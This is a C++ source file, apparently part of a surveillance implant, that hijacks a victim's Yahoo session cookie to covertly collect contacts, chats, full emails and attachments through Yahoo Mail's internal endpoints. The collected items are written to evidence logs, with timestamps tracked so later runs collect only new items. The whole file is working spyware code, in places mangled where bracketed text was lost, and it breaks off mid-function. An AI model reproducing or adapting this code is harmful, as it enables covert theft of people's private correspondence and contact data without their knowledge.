#include #include #include #include "..\common.h" #include "..\LOG.h" #include "SocialMain.h" #include "NetworkHandler.h" #include "Handler_Yahoo.h" extern char *base64_encodeY(const unsigned char *input, int length); extern unsigned char *base64_decodeY(const char *input, int length, int *outlen); extern BOOL bPM_MailCapStarted; // variabili per vedere se gli agenti interessati sono attivi extern BOOL bPM_ContactsStarted; extern BOOL bPM_IMStarted; extern DWORD max_social_mail_len; extern BOOL DumpContact(HANDLE hfile, DWORD program, WCHAR *name, WCHAR *email, WCHAR *company, WCHAR *addr_home, WCHAR *addr_office, WCHAR *phone_off, WCHAR *phone_mob, WCHAR *phone_hom, WCHAR *skype_name, WCHAR *facebook_page, DWORD flags); extern DWORD GetLastFBTstamp(char *user, DWORD *hi_part); extern void SetLastFBTstamp(char *user, DWORD tstamp_lo, DWORD tstamp_hi); /* //writes data on disk void DumpYHTcpData(LPCWSTR lpFileName, char* lpBuffer, DWORD dwSize) { HANDLE hFile; DWORD dwWritten=0; //creazione del file dove salvare i dati hFile = CreateFile(lpFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) return; //scrittura dei dati sul file if(!WriteFile(hFile, lpBuffer, dwSize, &dwWritten, NULL)) { CloseHandle(hFile); return; } CloseHandle(hFile); } //writes data on disk void DumpYHTcpData(LPCWSTR lpFileName, WCHAR* lpBuffer, DWORD dwSize) { HANDLE hFile; DWORD dwWritten=0; //creazione del file dove salvare i dati hFile = CreateFile(lpFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) return; //scrittura dei dati sul file if(!WriteFile(hFile, lpBuffer, dwSize*2, &dwWritten, NULL)) { CloseHandle(hFile); return; } CloseHandle(hFile); } */ LPVOID zalloc(__in DWORD dwSize) { LPBYTE pMem = (LPBYTE) malloc(dwSize); RtlSecureZeroMemory(pMem, dwSize); return(pMem); } VOID zfree(__in LPVOID pMem) { if (pMem) free(pMem); } //encode a string to URL format, for parameters passed in URL LPSTR EncodeURL(LPSTR strString) { LPSTR strEncoded = NULL; char strTmp[4]; int i, j, dwLen; dwLen = strlen(strString); //alloc destination string strEncoded = (LPSTR)zalloc((dwLen*3) + 1); if(strEncoded == NULL) return NULL; SecureZeroMemory(strEncoded, sizeof(dwLen*3+1)); for(i=0, j=0; i 88cee993-80ce-5292-01d0-a7SEQN010000 // ReqNum -> 1 // ReqID = 88cee993-80ce-5292-01d0-a70000010000 BOOL YHFormatRequestID(LPWSTR* lpszReqID, LPYAHOO_CONNECTION_PARAMS pYHParams) { WCHAR szReqVal[8]; LPWSTR pszSubString; DWORD dwSize; pszSubString = wcsstr(pYHParams->strUUID, L"SEQN"); if(pszSubString == NULL) return FALSE; _snwprintf_s(szReqVal, (sizeof(szReqVal)/2), _TRUNCATE, L"%04X", pYHParams->nReqValue); //alloc memory for the new string dwSize = wcslen(pYHParams->strUUID) + 1; *lpszReqID = (LPWSTR)zalloc(dwSize * sizeof(WCHAR)); if(*lpszReqID == NULL) return FALSE; //copy the uuid string till the SEQN wcsncpy_s(*lpszReqID, dwSize, pYHParams->strUUID, (pszSubString - pYHParams->strUUID)); //concat the counter wcscat_s(*lpszReqID, dwSize, szReqVal); //concat the last part of the string DWORD dwLen = wcslen(pszSubString+4); wcscat_s(*lpszReqID, dwSize, pszSubString+4); //increment the req. number pYHParams->nReqValue += 1; return TRUE; } //estrae tutti i parametri necessari BOOL YHParseForParams(LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strBuffer) { //make sure the structure's fields are not allocated YHFreeConnectionParams(pYHParams); //server name (in caso di redirect, es: it-mg42.mail.yahoo.com) if(!YHSearchIdentifier(&pYHParams->strServerName, strBuffer, YAHOO_SERVERNAME_TAG, '"', 50)) return FALSE; //wssid if(!YHSearchIdentifier(&pYHParams->strWSSID, strBuffer, YAHOO_WSSID_TAG, '"', 50)) return FALSE; //neoguid if(!YHSearchIdentifier(&pYHParams->strNeoGUID, strBuffer, YAHOO_NEOGUID_TAG, '"', 50)) return FALSE; //uuid if(!YHSearchIdentifier(&pYHParams->strUUID, strBuffer, YAHOO_UUID_TAG, '"', 50)) return FALSE; /* //random value if(!YHSearchIdentifier(&pYHParams->strRndValue, strBuffer, YAHOO_RANDOM_VALUE_TAG, '"', 50)) return FALSE; */ return TRUE; } //get connection parameters to use in next queries DWORD YHGetConnectionParams(LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strCookie) { LPWSTR strDomain = L"mail.yahoo.com"; LPSTR strRecvBuffer = NULL; LPWSTR strURI = NULL; DWORD dwRet, dwBufferSize; //connection to mail server CheckProcessStatus(); dwRet = HttpSocialRequest(L"mail.yahoo.com", L"GET", strURI, 443, NULL, 0, (BYTE **)&strRecvBuffer, &dwBufferSize, strCookie); // FIXME ARRAY znfree((LPVOID*)&strURI); if (dwRet != SOCIAL_REQUEST_SUCCESS) { znfree((LPVOID*)&strRecvBuffer); return dwRet; } //extract session parameters from the received buffer if (!YHParseForParams(pYHParams, strRecvBuffer)) { znfree((LPVOID*)&strRecvBuffer); YHFreeConnectionParams(pYHParams); return SOCIAL_REQUEST_BAD_COOKIE; } znfree((LPVOID*)&strRecvBuffer); return SOCIAL_REQUEST_SUCCESS; } //================================================== YAHOO CONTACTS =================================================================== //extact contacts from the json tree and write them into the log buffer DWORD YHLogContacts(LPSTR strContacts, LPYAHOO_CONNECTION_PARAMS pYHParams) { YAHOO_CONTACT_VALUES YHContact; std::vector::size_type i = 0; std::vector::size_type j = 0; JSONValue* jValue = NULL; JSONArray jContacts; JSONArray jFields; JSONObject jObj; JSONObject jContact; WCHAR strContact[] = { L'c', L'o', L'n', L't', L'a', L'c', L't', L'\0' }; WCHAR strID[] = { L'i', L'd', L'\0' }; WCHAR strFields[] = { L'f', L'i', L'e', L'l', L'd', L's', L'\0' }; WCHAR strRoot[] = { L'c', L'o', L'n', L't', L'a', L'c', L't', L's', L'\0' }; WCHAR strType[] = { L't', L'y', L'p', L'e', L'\0' }; WCHAR strValue[] = { L'v', L'a', L'l', L'u', L'e', L'\0' }; //fields name WCHAR strName[] = { L'g', L'i', L'v', L'e', L'n', L'N', L'a', L'm', L'e', L'\0' }; WCHAR strMidName[] = { L'm', L'i', L'd', L'd', L'l', L'e', L'N', L'a', L'm', L'e', L'\0' }; WCHAR strLastName[] = { L'f', L'a', L'm', L'i', L'l', L'y', L'N', L'a', L'm', L'e', L'\0' }; WCHAR strEmail[] = { L'v', L'a', L'l', L'u', L'e', L'\0' }; WCHAR strBuffer[128]; DWORD dwLen, dwHTS=0, dwLTS=0, dwFlags=0; BOOL bIsContact, bError; DWORD dwLastID=0, dwID=0; HANDLE hfile; //parse the received buffer jValue = JSON::Parse(strContacts); if(jValue == NULL) return SOCIAL_REQUEST_BAD_COOKIE; CheckProcessStatus(); hfile = Log_CreateFile(PM_CONTACTSAGENT, NULL, 0); if (jValue != NULL && jValue->IsObject()) { jObj = jValue->AsObject(); //json root //find the contacts object if (jObj.find(strRoot) != jObj.end() && jObj[strRoot]->IsObject()) { jObj = jObj[strRoot]->AsObject(); //check contact array if(jObj[strContact]->IsArray()) { //contact array jContacts = jObj[strContact]->AsArray(); //loop in contact array for(i=0; iIsObject()) continue; //contact object jObj = jContacts[i]->AsObject(); //contact id dwID = (DWORD)jObj[strID]->AsNumber(); //id comparison if(dwID > dwLastID) dwLastID = dwID; if(dwLastID <= pYHParams->dwLowTS) continue; //get fields array if(jObj[strFields]->IsArray()) { SecureZeroMemory(&YHContact, sizeof(YHContact)); //fields array jFields = jObj[strFields]->AsArray(); //loop in fields array for(bError=FALSE, j=0; (jIsObject()) continue; //object with contact values jObj = jFields[j]->AsObject(); if(!jObj[strType]->IsString()) continue; //get the obj type (name or email) _snwprintf_s(strBuffer, sizeof(strBuffer)/2, _TRUNCATE, L"%s", jObj[strType]->AsString().c_str()); //get obj values if(!wcscmp(strBuffer, L"name")) { if(!jObj[strValue]->IsObject()) continue; jObj = jObj[strValue]->AsObject(); if(jObj[strName]->IsString() && jObj[strLastName]->IsString()) { dwLen = wcslen(jObj[strName]->AsString().c_str()) + wcslen(jObj[strLastName]->AsString().c_str()) + 2; //(insert a blank char between name and lastname) YHContact.strName = (LPWSTR)zalloc(dwLen * (sizeof(WCHAR))); if(YHContact.strName != NULL) { _snwprintf_s(YHContact.strName, dwLen, _TRUNCATE, L"%s %s", jObj[strName]->AsString().c_str(), jObj[strLastName]->AsString().c_str()); bIsContact = TRUE; } else bError = TRUE; } } else if(!wcscmp(strBuffer, L"email")) { if(jObj[strEmail]->IsString()) { dwLen = wcslen(jObj[strEmail]->AsString().c_str()) + 1; YHContact.strEmail = (LPWSTR)zalloc(dwLen * (sizeof(WCHAR))); if(YHContact.strEmail != NULL) { _snwprintf_s(YHContact.strEmail, dwLen, _TRUNCATE, L"%s", jObj[strEmail]->AsString().c_str()); bIsContact = TRUE; } else bError = TRUE; } } else if(!wcscmp(strBuffer, L"company")) { if(jObj[strValue]->IsString()) { dwLen = wcslen(jObj[strValue]->AsString().c_str()) + 1; YHContact.strCompany = (LPWSTR)malloc(dwLen * (sizeof(WCHAR))); if(YHContact.strCompany != NULL) { _snwprintf_s(YHContact.strCompany, dwLen, _TRUNCATE, L"%s", jObj[strValue]->AsString().c_str()); bIsContact = TRUE; } else bError = TRUE; } } else if(!wcscmp(strBuffer, L"phone")) { if(jObj[strValue]->IsString()) { dwLen = wcslen(jObj[strValue]->AsString().c_str()) + 1; YHContact.strPhone = (LPWSTR)malloc(dwLen * (sizeof(WCHAR))); if(YHContact.strPhone != NULL) { _snwprintf_s(YHContact.strPhone, dwLen, _TRUNCATE, L"%s", jObj[strValue]->AsString().c_str()); bIsContact = TRUE; } else bError = TRUE; } } //in case of alloc error, free the heap and exit if(bError) { YHFreeContactFields(&YHContact); zndelete((LPVOID*)&jValue); Log_CloseFile(hfile); return YAHOO_ALLOC_ERROR; } } // contact's field loop //save the contact if(bIsContact) DumpContact(hfile, CONTACT_SRC_YAHOO, YHContact.strName, YHContact.strEmail, YHContact.strCompany, NULL, NULL, NULL, YHContact.strPhone, NULL, YHContact.strName, NULL, dwFlags); //free heap YHFreeContactFields(&YHContact); } } // contacts loop } //set the timestamp if((bIsContact) && (dwLastID > 0)) { pYHParams->dwLowTS = dwLastID; if(dwLastID != dwLTS) YHSetLastTimeStamp(pYHParams, "_c"); } } } //free json value zndelete((LPVOID*)&jValue); Log_CloseFile(hfile); return YAHOO_SUCCESS; } //es: it-mg42.mail.yahoo.com/neo/ws/sd?/v1/user/VC2IYDFHJ3XN57AIDD3DACO5WI/contacts;format=json&view=compact&wssid=omTo4n11SJe&wssid=omTo4n11SJe&ymreqid=88cee993-80ce-5292-0124-c20001010000 DWORD YHParseContacts(LPSTR strCookie, LPYAHOO_CONNECTION_PARAMS pYHParams) { LPWSTR strURI; LPSTR strRecvBuffer = NULL; DWORD dwRet, dwBufferSize; strURI = (LPWSTR) zalloc(YAHOO_ALLOC_SIZE * sizeof(WCHAR)); if(strURI == NULL) return YAHOO_ALLOC_ERROR; CheckProcessStatus(); _snwprintf_s(strURI, YAHOO_ALLOC_SIZE, _TRUNCATE, L"/neo/ws/sd?/v1/user/%s/contacts;format=json&view=compact", pYHParams->strNeoGUID); dwRet = HttpSocialRequest(pYHParams->strServerName, L"GET", strURI, 443, NULL, 0, (BYTE **)&strRecvBuffer, &dwBufferSize, strCookie); znfree((LPVOID*)&strURI); if (dwRet != SOCIAL_REQUEST_SUCCESS) { znfree((LPVOID*)&strRecvBuffer); return dwRet; } //get last timestamp if(YHGetLastTimeStamp(pYHParams, "_c") == YAHOO_SUCCESS) { //log contacts dwRet = YHLogContacts(strRecvBuffer, pYHParams); if(dwRet == YAHOO_SUCCESS) dwRet = SOCIAL_REQUEST_SUCCESS; else dwRet = SOCIAL_REQUEST_BAD_COOKIE; } else dwRet = SOCIAL_REQUEST_BAD_COOKIE; //free heap znfree((LPVOID*)&strRecvBuffer); return dwRet; } DWORD YahooContactHandler(LPSTR strCookie) { YAHOO_CONNECTION_PARAMS YHParams; if (!bPM_ContactsStarted) return SOCIAL_REQUEST_SUCCESS; SecureZeroMemory(&YHParams, sizeof(YHParams)); //get connection parameters used in queries DWORD dwRet = YHGetConnectionParams(&YHParams, strCookie); if (dwRet != SOCIAL_REQUEST_SUCCESS) { YHFreeConnectionParams(&YHParams); return dwRet; } //get conctacts list and log evidences dwRet = YHParseContacts(strCookie, &YHParams); if(dwRet != YAHOO_SUCCESS) { dwRet = SOCIAL_REQUEST_BAD_COOKIE; } //free connection parameters YHFreeConnectionParams(&YHParams); return dwRet; } //================================================== END OF YAHOO CONTACTS =================================================================== //================================================== YAHOO MAIL ============================================================================== /* //con questo comando ottengo l'elenco della mail inviate POST it-mg42.mail.yahoo.com/ws/mail/v2.0/jsonrpc?appid=YahooMailNeo&m=ListFolderThreads&wssid=1UaKTuwCE3a&ymreqid=88cee993-80ce-5292-01a5-8c0006010000 //con questo comando ricevo il corpo della mail POST it-mg42.mail.yahoo.com/ws/v3/batch?appid=YahooMailNeo&prime=1&wssid=1UaKTuwCE3a&ymreqid=88cee993-80ce-5292-01a5-8c0009010000 POST it-mg42.mail.yahoo.com/ws/v3/batch?appid=YahooMailNeo&prime=1&wssid=/sMYYzRuleu&ymreqid=88cee993-80ce-5292-019f-0e0008010000 POST it-mg42.mail.yahoo.com/ws/v3/batch?appid=YahooMailNeo&prime=0&wssid=/sMYYzRuleu&ymreqid=88cee993-80ce-5292-019f-0e000a010000 */ //get mails from a mailbox DWORD YHParseMailBox(LPSTR strMailBoxName, LPSTR strCookie, LPYAHOO_CONNECTION_PARAMS pYHParams, BOOL bIncoming, BOOL bDraft) { //json vars std::vector::size_type iItem; JSONValue *jValue = NULL; JSONArray jMail; JSONObject jObj; LPSTR strMail = NULL; LPSTR strMailID = NULL; DWORD dwLen, dwRet, dwNrOfMails, dwTimeStamp; WCHAR strDateFld[] = { L'r', L'e', L'c', L'e', L'i', L'v', L'e', L'd', L'D', L'a', L't', L'e', L'\0' }; WCHAR strMID[] = { L'm', L'i', L'd', L'\0' }; YAHOO_CHAT_FIELDS ChatFields; struct tm tstamp; //get the last timestamp for emails if(YHGetLastTimeStamp(pYHParams, strMailBoxName) != YAHOO_SUCCESS) return SOCIAL_REQUEST_BAD_COOKIE; //get mails list for the selected folder dwRet = YHGetMailsList(strMailBoxName, strCookie, pYHParams, &jValue, &jMail, &dwNrOfMails); if(dwRet != SOCIAL_REQUEST_SUCCESS) { zndelete((LPVOID*)&jValue); return SOCIAL_REQUEST_BAD_COOKIE; } //no new mails to download if(dwNrOfMails == 0) { zndelete((LPVOID*)&jValue); return SOCIAL_REQUEST_SUCCESS; } //paranoid test if(jValue == NULL) return SOCIAL_REQUEST_BAD_COOKIE; //save the mailbox name if(pYHParams->strMailFolder != NULL) znfree((LPVOID*)&pYHParams->strMailFolder); dwLen = strlen(strMailBoxName) + 1; pYHParams->strMailFolder = (LPWSTR)malloc(dwLen * sizeof(WCHAR)); if(pYHParams->strMailFolder == NULL) { zndelete((LPVOID*)&jValue); return YAHOO_ALLOC_ERROR; } swprintf_s(pYHParams->strMailFolder, dwLen, L"%S", strMailBoxName); //backward loop to get mails for(iItem=dwNrOfMails; iItem>0; iItem--) { if(!jMail[iItem-1]->IsObject()) continue; //messageinfo obj jObj = jMail[iItem-1]->AsObject(); if(!jObj[strMID]->IsString()) continue; //mail id dwLen = wcslen(jObj[strMID]->AsString().c_str()) + 1; if(dwLen <= 1) continue; //mid value (Mail ID) strMailID = (LPSTR)zalloc(dwLen); if(strMailID == NULL) { znfree((LPVOID*)&pYHParams->strMailFolder); zndelete((LPVOID*)&jValue); return YAHOO_ALLOC_ERROR; } _snprintf_s(strMailID, dwLen, _TRUNCATE, "%S", jObj[strMID]->AsString().c_str()); //get date from the list because it may be different from chat body date //causing duplicated logs. The mail to be logged are already filtered, by date, //in the YHGetMailsList function dwTimeStamp = jObj[strDateFld]->AsNumber(); //chat or email selection if(!_stricmp(strMailBoxName, "%40C%40Chats")) { //get the conversation dwRet = YHGetChat(&ChatFields, strMailID, pYHParams, strCookie); if(dwRet == YAHOO_SUCCESS) { _gmtime32_s(&tstamp, (__time32_t *)&pYHParams->dwLastMailDate); tstamp.tm_year += 1900; tstamp.tm_mon++; /* if(!_wcsicmp(ChatFields.strMailUser, ChatFields.strAuthorID)) bIncoming = TRUE; else bIncoming = FALSE; */ bIncoming = FALSE; CheckProcessStatus(); LogSocialIMMessageW(CHAT_PROGRAM_YAHOO, ChatFields.strPeers, ChatFields.strPeersID, ChatFields.strAuthor, ChatFields.strAuthorID, ChatFields.strText, &tstamp, bIncoming); } //free heap YHFreeChatFields(&ChatFields); } else { //get the email dwRet = YHGetMail(&strMail, strMailID, pYHParams, strCookie); if(dwRet == YAHOO_SUCCESS) { dwLen = strlen(strMail); if(dwLen > max_social_mail_len) dwLen = max_social_mail_len; CheckProcessStatus(); LogSocialMailMessageFull(MAIL_YAHOO, (BYTE *)strMail, dwLen, bIncoming, bDraft); } } //save the timestamp //pYHParams->dwLowTS = pYHParams->dwLastMailDate; pYHParams->dwLowTS = dwTimeStamp; YHSetLastTimeStamp(pYHParams, strMailBoxName); //free heap znfree((LPVOID*)&strMail); znfree((LPVOID*)&strMailID); } // end of for loop //free json value zndelete((LPVOID*)&jValue); /* //save the timestamp with the highest timestamp in the mail list. //(for an error in yahoo, the timestamp in the mail list can be different from the //timestamp in the mail's body) if(pYHParams->dwLastMailDate < dwTimeStamp) pYHParams->dwLastMailDate = dwTimeStamp; pYHParams->dwLowTS = pYHParams->dwLastMailDate; YHSetLastTimeStamp(pYHParams, strMailBoxName); */ //free name folder heap and set to NULL znfree((LPVOID*)&pYHParams->strMailFolder); return dwRet; } //get mails list for the selected mailbox name (sort order: desc) DWORD YHGetMailsList(LPSTR strMailBoxName, LPSTR strCookie, LPYAHOO_CONNECTION_PARAMS pYHParams, JSONValue** jValue, JSONArray* pjMail, LPDWORD pdwNrOfMails) { LPSTR strJSONParams = "{\"method\":\"ListMessages\",\"params\": [{\"fid\":\"%s\",\"numInfo\": %d,\"numMid\": %d,\"sortKey\": \"date\",\"sortOrder\":\"down\",\"groupBy\":\"unRead\"}]}"; LPWSTR strURI = NULL; LPWSTR strReqID = NULL; LPSTR strPostBuffer = NULL; LPSTR strRecvBuffer = NULL; DWORD dwRet, dwBufferSize, dwLastMailID=0, dwMailDate=0, dwNrOfMails=500, dwMaxTimeStamp=0; BOOL bList = FALSE; //json vars std::vector::size_type i; JSONObject jObj; WCHAR strDateFld[] = { L'r', L'e', L'c', L'e', L'i', L'v', L'e', L'd', L'D', L'a', L't', L'e', L'\0' }; WCHAR strMID[] = { L'm', L'i', L'd', L'\0' }; WCHAR strMsgInfo[] = { L'm', L'e', L's', L's', L'a', L'g', L'e', L'I', L'n', L'f', L'o', L'\0' }; WCHAR strRoot[] = { L'r', L'e', L's', L'u', L'l', L't', L'\0' }; WCHAR strSize[] = { L's', L'i', L'z', L'e', L'\0' }; //format the request id if(!YHFormatRequestID(&strReqID, pYHParams)) return SOCIAL_REQUEST_BAD_COOKIE; strURI = (LPWSTR)zalloc(YAHOO_ALLOC_SIZE*sizeof(WCHAR)); if(strURI == NULL) { znfree((LPVOID*)&strReqID); return YAHOO_ALLOC_ERROR; } _snwprintf_s(strURI, YAHOO_ALLOC_SIZE, _TRUNCATE, L"/ws/mail/v2.0/jsonrpc?appid=YahooMailNeo&m=ListFolderThreads&wssid=%s&ymreqid=%s", pYHParams->strWSSID, strReqID); znfree((LPVOID*)&strReqID); //format the json paramaters strPostBuffer = (LPSTR)zalloc(YAHOO_ALLOC_SIZE); if(strPostBuffer == NULL) { znfree((LPVOID*)&strURI); return YAHOO_ALLOC_ERROR; } //post params _snprintf_s(strPostBuffer, YAHOO_ALLOC_SIZE, _TRUNCATE, strJSONParams, strMailBoxName, dwNrOfMails, 0); CheckProcessStatus(); //json command to retrieve the mail list dwRet = HttpSocialRequest(pYHParams->strServerName, L"POST", strURI, 443, (BYTE *)strPostBuffer, strlen(strPostBuffer), (BYTE **)&strRecvBuffer, &dwBufferSize, strCookie); //free buffers znfree((LPVOID*)&strPostBuffer); znfree((LPVOID*)&strURI); if (dwRet != SOCIAL_REQUEST_SUCCESS) { znfree((LPVOID*)&strRecvBuffer); return dwRet; } *pdwNrOfMails = 0; dwMaxTimeStamp = 0; //parse the received buffer *jValue = JSON::Parse(strRecvBuffer); //free heap znfree((LPVOID*)&strRecvBuffer); if(*jValue == NULL) return SOCIAL_REQUEST_BAD_COOKIE; //json tree of mails list if ((*jValue)->IsObject()) { jObj = (*jValue)->AsObject(); //json root //find the result object if (jObj.find(strRoot) != jObj.end() && jObj[strRoot]->IsObject()) { jObj = jObj[strRoot]->AsObject(); if (jObj[strMsgInfo]->IsArray()) { //messageInfo array *pjMail = jObj[strMsgInfo]->AsArray(); //search the first mail with date < saved timestamp for(i=0; i<(*pjMail).size(); i++) { if(!(*pjMail)[i]->IsObject()) continue; //json object containing the message jObj = (*pjMail)[i]->AsObject(); //get the mail date dwMailDate = (DWORD)jObj[strDateFld]->AsNumber(); if(dwMaxTimeStamp < dwMailDate) dwMaxTimeStamp = dwMailDate; //if the mail date is <= then the last mail sent, exit if(dwMailDate <= pYHParams->dwLowTS) break; } *pdwNrOfMails = i; bList = TRUE; } } } else { zndelete((LPVOID*)jValue); } if (bList == FALSE) return SOCIAL_REQUEST_BAD_COOKIE; return SOCIAL_REQUEST_SUCCESS; } //get mails list for the selected mailbox name (sort order: desc) DWORD YHGetFoldersName(JSONValue** jValue, LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strCookie) { LPSTR strJSONParams = "{\"method\":\"ListFolders\",\"params\": [{}]}"; LPWSTR strURI = NULL; LPWSTR strReqID = NULL; LPSTR strPostBuffer = NULL; LPSTR strRecvBuffer = NULL; DWORD dwRet, dwBufferSize, dwLastMailID=0, dwMailDate=0; BOOL bList = FALSE; //json vars // JSONObject jObj; // WCHAR strFolderFld[] = { L'f', L'o', L'l', L'd', L'e', L'r', L'\0' }; // WCHAR strRoot[] = { L'r', L'e', L's', L'u', L'l', L't', L'\0' }; //format the request id if(!YHFormatRequestID(&strReqID, pYHParams)) return SOCIAL_REQUEST_BAD_COOKIE; strURI = (LPWSTR)zalloc(YAHOO_ALLOC_SIZE*sizeof(WCHAR)); if(strURI == NULL) { znfree((LPVOID*)&strReqID); return YAHOO_ALLOC_ERROR; } //get folders name request _snwprintf_s(strURI, YAHOO_ALLOC_SIZE, _TRUNCATE, L"/ws/mail/v2.0/jsonrpc?appid=YahooMailNeo&m=ListFolderThreads&wssid=%s&ymreqid=%s", pYHParams->strWSSID, strReqID); znfree((LPVOID*)&strReqID); //format the json paramaters strPostBuffer = (LPSTR)zalloc(YAHOO_ALLOC_SIZE); if(strPostBuffer == NULL) { znfree((LPVOID*)&strURI); return YAHOO_ALLOC_ERROR; } strcpy_s(strPostBuffer, YAHOO_ALLOC_SIZE, strJSONParams); CheckProcessStatus(); //json command to retrieve the mail list dwRet = HttpSocialRequest(pYHParams->strServerName, L"POST", strURI, 443, (BYTE *)strPostBuffer, strlen(strPostBuffer), (BYTE **)&strRecvBuffer, &dwBufferSize, strCookie); //free heap znfree((LPVOID*)&strPostBuffer); znfree((LPVOID*)&strURI); if (dwRet != SOCIAL_REQUEST_SUCCESS) { znfree((LPVOID*)&strRecvBuffer); return dwRet; } //parse the received buffer *jValue = JSON::Parse(strRecvBuffer); //free buffer znfree((LPVOID*)&strRecvBuffer); //json tree of mails list if ((*jValue == NULL) || ((*jValue)->IsObject() == FALSE)) { //if the json is not an obj or it's null, return an error zndelete((LPVOID*)jValue); return SOCIAL_REQUEST_BAD_COOKIE; } return SOCIAL_REQUEST_SUCCESS; } //get the header and the body of the mail DWORD YHGetMail(LPSTR* strMail, LPSTR strMailID, LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strCookie) { LPSTR strMailHeader = NULL; LPSTR strMailBody = NULL; DWORD dwRet=0, dwLen=0; //request mail with mail ID dwRet = YHGetMailBody(strMailID, pYHParams, strCookie, &strMailBody); if(dwRet != YAHOO_SUCCESS) { znfree((LPVOID*)&strMailBody); return dwRet; } //get mail row header dwRet = YHGetMailHeader(strMailID, pYHParams, strCookie, &strMailHeader); if(dwRet != YAHOO_SUCCESS) { znfree((LPVOID*)&strMailHeader); znfree((LPVOID*)&strMailBody); return dwRet; } //assemble email dwRet = YHAssembleMail(strMailHeader, strMailBody, strMail); if(dwRet != YAHOO_SUCCESS) { znfree((LPVOID*)&strMailHeader); znfree((LPVOID*)&strMailBody); return dwRet; } //free heap znfree((LPVOID*)&strMailHeader); znfree((LPVOID*)&strMailBody); return YAHOO_SUCCESS; } //request the header of a mail DWORD YHGetMailHeader(LPSTR strMailID, LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strCookie, LPSTR* strMailHeader) { LPSTR strGetHeader = "{\"method\": \"GetMessageRawHeader\",\"params\": [{\"fid\": \"%S\",\"mid\": [\"%s\"]}]}"; LPSTR strBuffer = NULL; LPSTR strRecvBuffer = NULL; LPWSTR strTmp = NULL; LPWSTR strURI = NULL; LPWSTR strReqID = NULL; LPWSTR pOldBuf = NULL; DWORD dwRet, dwBufferSize, dwSize, dwTotSize; //json vars std::vector::size_type i; JSONValue* jValue = NULL; JSONArray jHeader; JSONObject jObj; WCHAR strHeaders[] = { L'r', L'a', L'w', L'h', L'e', L'a', L'd', L'e', L'r', L's', L'\0' }; //array WCHAR strRoot[] = { L'r', L'e', L's', L'u', L'l', L't', L'\0' }; //object //format the request id if(!YHFormatRequestID(&strReqID, pYHParams)) { znfree((LPVOID*)&strReqID); return SOCIAL_REQUEST_BAD_COOKIE; } //get mail body strURI = (LPWSTR)zalloc(YAHOO_ALLOC_SIZE*sizeof(WCHAR)); if(strURI == NULL) { znfree((LPVOID*)&strReqID); return YAHOO_ALLOC_ERROR; } _snwprintf_s(strURI, YAHOO_ALLOC_SIZE, _TRUNCATE, L"/ws/mail/v2.0/jsonrpc?appid=YahooMailNeo&m=ListFolderThreads&wssid=%s&ymreqid=%s", pYHParams->strWSSID, strReqID); znfree((LPVOID*)&strReqID); dwSize = strlen(strGetHeader) + wcslen(pYHParams->strMailFolder) + strlen(strMailID) + 1; strBuffer = (LPSTR)zalloc(dwSize); if(strBuffer == NULL) { znfree((LPVOID*)&strURI); return YAHOO_ALLOC_ERROR; } _snprintf_s(strBuffer, dwSize, _TRUNCATE, strGetHeader, pYHParams->strMailFolder, strMailID); CheckProcessStatus(); //json command to retrieve the mail header dwRet = HttpSocialRequest(pYHParams->strServerName, L"POST", strURI, 443, (BYTE *)strBuffer, strlen(strBuffer), (BYTE **)&strRecvBuffer, &dwBufferSize, strCookie); //free heap znfree((LPVOID*)&strURI); znfree((LPVOID*)&strBuffer); if(dwRet != SOCIAL_REQUEST_SUCCESS) { znfree((LPVOID*)&strRecvBuffer); return dwRet; } //parse the header jValue = JSON::Parse(strRecvBuffer); znfree((LPVOID*)&strRecvBuffer); if (jValue != NULL && jValue->IsObject()) { jObj = jValue->AsObject(); //json root //find the result object if (jObj.find(strRoot) != jObj.end() && jObj[strRoot]->IsObject()) { jObj = jObj[strRoot]->AsObject(); if(jObj[strHeaders]->IsArray()) { //rawheader array jHeader = jObj[strHeaders]->AsArray(); for(dwTotSize=0, i=0; iIsString()) continue; //length of header dwSize = wcslen(jHeader[i]->AsString().c_str()); if(dwSize == 0) continue; //mem reallocation pOldBuf = strTmp; strTmp = (LPWSTR)realloc(strTmp, ((dwTotSize+dwSize)*sizeof(WCHAR)) + 2); if(strTmp == NULL) { znfree((LPVOID*)&pOldBuf); zndelete((LPVOID*)&jValue); return YAHOO_ALLOC_ERROR; } //copy value to buffer wmemcpy_s((strTmp + dwTotSize), (dwTotSize+dwSize+2), jHeader[i]->AsString().c_str(), dwSize); //total size of the buffer dwTotSize += dwSize; //null terminate wmemset((strTmp + dwTotSize), 0, 1); } //convertion from LPWSTR to LPSTR *strMailHeader = (LPSTR)zalloc(dwTotSize+1); //add cr/lf to the end of the header if(*strMailHeader == NULL) { znfree((LPVOID*)&strTmp); zndelete((LPVOID*)&jValue); return YAHOO_ALLOC_ERROR; } wcstombs_s((size_t*)&dwSize, *strMailHeader, dwTotSize+1, strTmp, _TRUNCATE); //SecureZeroMemory(&MailFields, sizeof(YAHOO_MAIL_FIELDS)); //search for boundary value for multipart mails //(es: boundary="----=_NextPart_1CF_1D5C_7951AA2F.3FAEF881") //YHGetBoundaryValue(strTmp, &(pYHMailFields->strHeaderBoundary)); znfree((LPVOID*)&strTmp); } } } zndelete((LPVOID*)&jValue); return YAHOO_SUCCESS; } //download an attachment and add it to the mail DWORD YHAddAttachment(LPWSTR* strMail, LPYAHOO_CONNECTION_PARAMS lpYHParams, LPYAHOO_MAIL_FIELDS lpMailFields, LPSTR strMailID, LPSTR strCookie) { YAHOO_MAIL_ATTACHMENT MailAttachment; DWORD dwRet; //download an attachment if present and if it's not a text section if((lpMailFields->strDisposition != NULL) && (_wcsicmp(lpMailFields->strType, L"text") != NULL) && ((!_wcsicmp(lpMailFields->strDisposition, L"attachment")) || (!_wcsicmp(lpMailFields->strDisposition, L"inline")))) { SecureZeroMemory(&MailAttachment, sizeof(MailAttachment)); //download attachment dwRet = YHGetMailAttachment(strMailID, lpYHParams, lpMailFields, strCookie, &MailAttachment); switch(dwRet) { case YAHOO_SUCCESS: //insert the attachment into the mail body if(ReallocAndAppendString(strMail, MailAttachment.strEncodedAttachment) != YAHOO_SUCCESS) { 